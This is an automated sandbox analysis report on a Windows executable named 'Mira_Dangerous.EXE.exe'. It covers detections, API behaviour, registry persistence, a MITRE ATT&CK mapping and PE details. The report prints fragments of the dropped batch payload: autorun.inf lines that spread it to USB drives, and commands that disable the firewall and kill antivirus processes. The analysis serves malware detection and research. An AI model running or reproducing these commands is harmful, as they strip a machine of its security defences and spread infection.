Edit tour

Windows Analysis Report
Mira_Dangerous.EXE.exe

Overview

General Information

Sample name:	Mira_Dangerous.EXE.exe
Analysis ID:	1670104
MD5:	12bd30174702410955d46c23054a0fe6
SHA1:	a0b47be3d815787f570becc5562e8e3483408ba3
SHA256:	36f099c1287b25cbbc278f852079e6d48d1ac3f69b76112c86ef13db6c37e91a
Tags:	exeuser-FelloBoiYuuka
Infos:

Detection

Score:	64
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Binary contains a suspicious time stamp

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Detected potential crypto function

Found evasive API chain checking for process token information

May infect USB drives

PE file contains executable resources (Code or Archives)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

Mira_Dangerous.EXE.exe (PID: 7084 cmdline: "C:\Users\user\Desktop\Mira_Dangerous.EXE.exe" MD5: 12BD30174702410955D46C23054A0FE6)

cleanup

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe, ProcessId: 7084, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Cryptography
• Compliance
• Spreading
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Boot Survival
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Mira_Dangerous.EXE.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\MIRA_D~1.BAT

Avira: detection malicious, Label: BAT/Agent.1275

Multi AV Scanner detection for submitted file

Source: Mira_Dangerous.EXE.exe	Virustotal: Detection: 59%			Perma Link
Source: Mira_Dangerous.EXE.exe	ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC30EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF7A8CC30EC

Source: Mira_Dangerous.EXE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: wextract.pdb source: Mira_Dangerous.EXE.exe
Source:	Binary string: wextract.pdbGCTL source: Mira_Dangerous.EXE.exe

Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205707787.000001497A1BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo [AutoRun] > %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205707787.000001497A1BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo [AutoRun] > %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205707787.000001497A1BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo open=[%%E:\%0] >> %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205707787.000001497A1BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo action=Open folder to see files... >> %%E:\autorun.inf)
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205801907.0000014978445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo [AutoRun] > %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205801907.0000014978445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo [AutoRun] > %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205801907.0000014978445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo open=[%%E:\%0] >> %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205801907.0000014978445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo action=Open folder to see files... >> %%E:\autorun.inf)
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205896655.0000014978445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo [AutoRun] > %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205896655.0000014978445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo [AutoRun] > %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205896655.0000014978445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo open=[%%E:\%0] >> %%E:\autorun.inf
Source: Mira_Dangerous.EXE.exe, 00000000.00000003.1205896655.0000014978445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: echo action=Open folder to see files... >> %%E:\autorun.inf)
Source: MIRA_D~1.BAT.0.dr	Binary or memory string: echo [AutoRun] > %%E:\autorun.inf
Source: MIRA_D~1.BAT.0.dr	Binary or memory string: echo [AutoRun] > %%E:\autorun.inf
Source: MIRA_D~1.BAT.0.dr	Binary or memory string: echo open=[%%E:\%0] >> %%E:\autorun.inf
Source: MIRA_D~1.BAT.0.dr	Binary or memory string: echo action=Open folder to see files... >> %%E:\autorun.inf)

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC204C FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF7A8CC204C

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC2C54 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,		0_2_00007FF7A8CC2C54
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC1C0C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,		0_2_00007FF7A8CC1C0C

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC2DB4	0_2_00007FF7A8CC2DB4
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC6CA4	0_2_00007FF7A8CC6CA4
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC66C4	0_2_00007FF7A8CC66C4
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC40C4	0_2_00007FF7A8CC40C4
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC5D90	0_2_00007FF7A8CC5D90
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC1D28	0_2_00007FF7A8CC1D28
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC1C0C	0_2_00007FF7A8CC1C0C
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC3530	0_2_00007FF7A8CC3530

Source: Mira_Dangerous.EXE.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 2787 bytes, 1 file, at 0x2c +A "MIRA_D~1.BAT", ID 896, number 1, 1 datablock, 0x1503 compression

Source: Mira_Dangerous.EXE.exe	Binary or memory string: OriginalFilename vs Mira_Dangerous.EXE.exe
Source: Mira_Dangerous.EXE.exe, 00000000.00000000.1151640839.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs Mira_Dangerous.EXE.exe
Source: Mira_Dangerous.EXE.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs Mira_Dangerous.EXE.exe

Source: classification engine

Classification label: mal64.winEXE@1/1@0/0

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC6CA4 GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00007FF7A8CC6CA4

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC1C0C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

0_2_00007FF7A8CC1C0C

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

0_2_00007FF7A8CC6CA4

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC2DB4 memset,memset,CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceExA,LoadResource,#17,

0_2_00007FF7A8CC2DB4

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: Mira_Dangerous.EXE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Mira_Dangerous.EXE.exe	Virustotal: Detection: 59%
Source: Mira_Dangerous.EXE.exe	ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Section loaded: advpack.dll	Jump to behavior

Source: Mira_Dangerous.EXE.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Mira_Dangerous.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Mira_Dangerous.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Mira_Dangerous.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Mira_Dangerous.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Mira_Dangerous.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Mira_Dangerous.EXE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Mira_Dangerous.EXE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: Mira_Dangerous.EXE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: Mira_Dangerous.EXE.exe
Source:	Binary string: wextract.pdbGCTL source: Mira_Dangerous.EXE.exe

Source: Mira_Dangerous.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Mira_Dangerous.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Mira_Dangerous.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Mira_Dangerous.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Mira_Dangerous.EXE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Mira_Dangerous.EXE.exe

Static PE information: 0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC30EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF7A8CC30EC

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC1684 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

0_2_00007FF7A8CC1684

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-2438

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC204C FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF7A8CC204C

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC64E4 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00007FF7A8CC64E4

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC30EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF7A8CC30EC

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC8494 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF7A8CC8494
Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe	Code function: 0_2_00007FF7A8CC8790 SetUnhandledExceptionFilter,		0_2_00007FF7A8CC8790

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC12EC GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_00007FF7A8CC12EC

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC8964 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

0_2_00007FF7A8CC8964

Source: C:\Users\user\Desktop\Mira_Dangerous.EXE.exe

Code function: 0_2_00007FF7A8CC2C54 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

0_2_00007FF7A8CC2C54

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	2 Native API	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Access Token Manipulation	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Timestomp	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 DLL Side-Loading	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	5 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Mira_Dangerous.EXE.exe	59%	Virustotal		Browse
Mira_Dangerous.EXE.exe	44%	ReversingLabs	Win64.Trojan.KillAV
Mira_Dangerous.EXE.exe	100%	Avira	BAT/Agent.1275

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\IXP000.TMP\MIRA_D~1.BAT	100%	Avira	BAT/Agent.1275

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1670104
Start date and time:	2025-04-21 05:29:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Mira_Dangerous.EXE.exe
Detection:	MAL
Classification:	mal64.winEXE@1/1@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 25 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Process:	C:\Users\user\Desktop\Mira_Dangerous.EXE.exe
File Type:	DOS batch file, Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11542
Entropy (8bit):	5.343447696512908
Encrypted:	false
SSDEEP:	96:XRfeAgV/RBA7lPxODVbi1qkaZM43Qp19AU4c8cppdDmjEDgPzRVri/u1FKY2x:XRlA/2lPxOpbrZ2p19AU4c8gbDkMgPe
MD5:	6BD574A1523A552FAD065777400841DD
SHA1:	C1552C362FBDB69FADF8535675FE9C91B55BEA75
SHA-256:	A247F8867A0C5C3C6CF62B371085196E73E10A09E2A39D183B5B6578986439FF
SHA-512:	2E5A0726F060DCFE66156F6C0881675B9DBEB60DB6AB42499559BE681345CAB289237C4368872350DAF89E97BBCDF200C249229827CCD7119104F1A5B5F830D8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	@echo off..start cock.co.ck..rem -------kill av---------..net stop .Security Center...netsh firewall set opmode mode=disable..tskill /A av..tskill /A fire..tskill /A anti..cls..tskill /A spy..tskill /A bullguard..tskill /A PersFw..tskill /A KAV..tskill /A ZONEALARM..tskill /A SAFEWEB..cls..tskill /A OUTPOST..tskill /A nv..tskill /A nav..tskill /A F-..tskill /A ESAFE..tskill /A cle..cls..tskill /A BLACKICE..tskill /A def..tskill /A kav..tskill /A kav..tskill /A avg..tskill /A ash..cls..tskill /A aswupdsv..tskill /A ewid..tskill /A guard..tskill /A guar..tskill /A gcasDt..tskill /A msmp..cls..tskill /A mcafe..tskill /A mghtml..tskill /A msiexec..tskill /A outpost..tskill /A isafe..tskill /A zap..cls..tskill /A zauinst..tskill /A upd..tskill /A zlclien..tskill /A minilog..tskill /A cc..tskill /A norton..cls..tskill /A norton au..tskill /A ccc..tskill /A npfmn..tskill /A loge..tskill /A nisum..tskill /A issvc..tskill /A tmp..cls..tskill /A tmn..tskill /A pcc*.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.8174006380421455
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Mira_Dangerous.EXE.exe
File size:	160'256 bytes
MD5:	12bd30174702410955d46c23054a0fe6
SHA1:	a0b47be3d815787f570becc5562e8e3483408ba3
SHA256:	36f099c1287b25cbbc278f852079e6d48d1ac3f69b76112c86ef13db6c37e91a
SHA512:	f4eac97347ddf86ba8d342a7d4da21292ca1a5411e9ede8bf00feaa7c702185be108e2cd562c0e9024a4f53577730ff90b8c24fa5e06eb9e7c7590d7160c4fe6
SSDEEP:	3072:oahKyd2n31q95GWp1icKAArDZz4N9GhbkrNEk1QT:oahOup0yN90QEj
TLSH:	CAF38D4A63E420B6E4B6577498F202935A32BCB19F7582FF22C4D57E1E336C0A532B57
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6...7...6...7...6...7...6...7...6...6...6...7...6..o6...6...7...6Rich...6................PE..d................."

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x140008200
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F6E048BC0A0h
dec eax
add esp, 28h
jmp 00007F6E048BB94Bh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [000011CDh]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [00004922h], ebx
je 00007F6E048BB94Ch
dec eax
cmp eax, ebx
jne 00007F6E048BB95Ch
mov edi, 00000001h
mov eax, dword ptr [00004918h]
cmp eax, 01h
jne 00007F6E048BB959h
lea ecx, dword ptr [eax+1Eh]
call 00007F6E048BBF33h
jmp 00007F6E048BB9BCh
mov ecx, 000003E8h
call dword ptr [0000117Eh]
jmp 00007F6E048BB909h
mov eax, dword ptr [000048F6h]
test eax, eax
jne 00007F6E048BB99Bh
mov dword ptr [000048E8h], 00000001h
dec esp
lea esi, dword ptr [000013E9h]
dec eax
lea ebx, dword ptr [000013CAh]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007F6E048BB967h
test eax, eax
jne 00007F6E048BB967h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007F6E048BB952h
dec eax
mov eax, dword ptr [ebx]
dec eax
mov ecx, dword ptr [00001388h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa23c	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x1c130	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x408	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c000	0x20	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a10	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9128	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7b80	0x7c00	60800deac1fde21b98089f2241ee6168	False	0.5499936995967742	data	6.096261782871538	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x22c8	0x2400	59d15cdf89780817c3d48dd588a6a129	False	0.4136284722222222	data	4.727841929207054	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1f00	0x400	9d1580dccaf8e787a43caf4bba48a079	False	0.3212890625	data	3.1889769845125677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x408	0x600	15cd12257317071f28e4f7b728f8825e	False	0.3932291666666667	data	3.1563665040475675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x1d000	0x1c200	33cfc8d11525f17bcdfb6630ba153019	False	0.7305729166666667	data	7.009359201962884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c000	0x20	0x200	637787151ee546a94902de9694a58fd6	False	0.083984375	data	0.4068473715812382	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xf9f8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x12814	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x12e7c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x13164	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1334c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x13474	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x1431c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x14bc4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
